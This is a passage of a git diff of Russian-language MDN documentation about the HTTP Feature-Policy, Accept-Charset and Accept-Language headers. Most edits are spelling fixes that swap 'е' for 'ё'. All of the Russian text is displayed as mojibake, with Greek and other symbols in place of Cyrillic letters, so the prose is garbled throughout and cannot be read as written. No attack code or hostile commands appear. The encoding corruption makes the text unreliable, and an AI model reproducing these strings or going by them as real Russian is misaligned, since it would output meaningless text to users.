ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΎΠΉ, активируСтся  в ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ΅, Ссли Π΅Π³ΠΎ источник происхоТдСния Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ список источников.</p>
+<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Π°Ρ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ°</a> позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ доступ страницам сайта ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π²Π΅Π± Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, как страницам высокого уровня, Ρ‚Π°ΠΊ ΠΈ встроСнным Π² страницу Ρ„Ρ€Π΅ΠΉΠΌΠ°ΠΌ. По сути, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ опрСдСляСт ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ, которая позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ списку Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… источников. КаТдая функция, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠ°ΡΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΎΠΉ, активируСтся  в ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ΅, Ссли Π΅Π³ΠΎ источник происхоТдСния Π²Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ список источников.</p>
-<p>Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΎΠΉ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отслСТиваСт список источников происхоТдСния, для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ, эта функция Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°. Если Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ использован список Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… источников ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.Β Π­Ρ‚ΠΎΡ‚ список спСцифичСн для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.Β </p>
+<p>Для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΎΠΉ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ отслСТиваСт список источников происхоТдСния, для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ, эта функция Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°. Если Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ» ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ‚ΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ использован список Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… источников ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.Β Π­Ρ‚ΠΎΡ‚ список спСцифичСн для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.Β </p>
<h2 id="ОписаниС_ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ">ОписаниС ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ</h2>
-<p>ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° опрСдСляСтся, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½Π°Π±ΠΎΡ€ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… установочных Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ². Установочная Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° - это комбинация ΠΈΠΌΠ΅Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌΡ‹Ρ…Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ, со списком источников происхоТдСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ доступ ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. ИмСна Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ Π² ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой.</p>
+<p>ΠŸΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° опрСдСляСтся, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½Π°Π±ΠΎΡ€ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… установочных Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ². Установочная Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° - это комбинация ΠΈΠΌΡ‘Π½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌΡ‹Ρ…Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ, со списком источников происхоТдСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ доступ ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. ИмСна Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚Π΅ΠΉ Π² ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ с запятой.</p>
<h3 id="список_доступа">список доступа</h3>
@@ -54,7 +54,7 @@ translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
<p>ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ Π½Π° запрос Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (страницы). Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° пСрСопрСдСляСт ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΡƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄Π°Π½Π½ΠΎΠΉ страницы. Он ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ структуру.</p>
-<pre class="brush: bash">Feature-Policy: &lt;имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ&gt; &lt;список Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Ρ… источников&gt;</pre>
+<pre class="brush: bash">Feature-Policy: &lt;имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ&gt; &lt;список Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Ρ… источников&gt;</pre>
<p>К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, для Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ API Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎ всСму сайту:</p>
diff --git a/files/ru/web/http/headers/accept-charset/index.html b/files/ru/web/http/headers/accept-charset/index.html
index a8008ec1b8..75bf389f93 100644
--- a/files/ru/web/http/headers/accept-charset/index.html
+++ b/files/ru/web/http/headers/accept-charset/index.html
@@ -6,12 +6,12 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Accept-Charset
---
<div>{{HTTPSidebar}}</div>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Accept-Charset</code></strong> запроса HTTP сообщаСт ΠΊΠ°ΠΊΡƒΡŽ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласованиС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, сСрвСр Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎ своСм Π²Ρ‹Π±ΠΎΡ€Π΅ Π² {{HTTPHeader("Content-Type")}} ΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ устанавливаСт этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Ρ‚.ΠΊ. Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉΒ  ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΅Π³ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ с большСй Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊ.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <strong><code>Accept-Charset</code></strong> запроса HTTP сообщаСт ΠΊΠ°ΠΊΡƒΡŽ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="/en-US/docs/Web/HTTP/Content_negotiation">согласованиС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, сСрвСр Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎ своём Π²Ρ‹Π±ΠΎΡ€Π΅ Π² {{HTTPHeader("Content-Type")}} ΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ устанавливаСт этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, Ρ‚.ΠΊ. Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΉΒ  ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΅Π³ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ с большСй Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ ΠΎΡ‚ΠΏΠ΅Ρ‡Π°Ρ‚ΠΎΠΊ.</p>
<p>Если сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΡƒΡŽ ΠΈΠ· прСдоставлСнных ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΎΠΊ, тСорСтичСски ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ {{HTTPStatus("406")}} (Not Acceptable) ΠΊΠΎΠ΄ ошибки. Но, для Π±ΠΎΠ»Π΅Π΅ Π»ΡƒΡ‡ΡˆΠ΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°, это Ρ€Π΅Π΄ΠΊΠΎ дСлаСтся ΠΈ Π±ΠΎΠ»Π΅Π΅ частый способ Π² этом случаС, это просто ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>Accept-Charset</code>.</p>
<div class="note">
-<p>Π’ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях HTTP/1.1, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ°Β  ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (<code>ISO-8859-1</code>) Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ это Π½Π΅ Ρ‚Π°ΠΊ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ своС собствСнноС Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Π’ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΡ… вСрсиях HTTP/1.1, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ°Β  ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (<code>ISO-8859-1</code>) Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ это Π½Π΅ Ρ‚Π°ΠΊ ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ своё собствСнноС Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
</div>
<table class="properties">
diff --git a/files/ru/web/http/headers/accept-language/index.html b/files/ru/web/http/headers/accept-language/index.html
index 8cce5856b6..feddf885d0 100644
--- a/files/ru/web/http/headers/accept-language/index.html
+++ b/files/ru/web/http/headers/accept-language/index.html
@@ -6,7 +6,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Accept-Language
---
<div>{{HTTPSidebar}}</div>
-<div>{{Glossary("HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ")}} Запрос <strong><code>Accept-Language</code></strong> сообщаСт сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ языки ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈ какая локаль ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ (ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Ρƒ СстСствСнныС языки, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ английский, Π° Π½Π΅ языки программирования). Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ обсуТдСния содСрТимого  (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сСрвСр Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΎ своСм Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("Content-Language")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ значСния для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, исходя ΠΈΠ· языка ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΈ, Π΄Π°ΠΆΠ΅ Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <strong><code>Accept-Language</code></strong>, это происходит Ρ€Π΅Π΄ΠΊΠΎ (ΠΈ Π½Π΅ одобряСтся, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π΅Π΄Π΅Ρ‚.ΠΊ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ).</div>
+<div>{{Glossary("HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ")}} Запрос <strong><code>Accept-Language</code></strong> сообщаСт сСрвСру, ΠΊΠ°ΠΊΠΈΠ΅ языки ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈ какая локаль ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ (ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Ρƒ СстСствСнныС языки, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ английский, Π° Π½Π΅ языки программирования). Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ обсуТдСния содСрТимого  (<a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>), сСрвСр Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΎ своём Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("Content-Language")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ значСния для Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, исходя ΠΈΠ· языка ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΈ, Π΄Π°ΠΆΠ΅ Ссли Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π΅ΡΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <strong><code>Accept-Language</code></strong>, это происходит Ρ€Π΅Π΄ΠΊΠΎ (ΠΈ Π½Π΅ одобряСтся, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π΅Π΄Ρ‘Ρ‚.ΠΊ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ).</div>
<div></div>
@@ -44,11 +44,11 @@ Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
<dl>
<dt><code>&lt;language&gt;</code></dt>
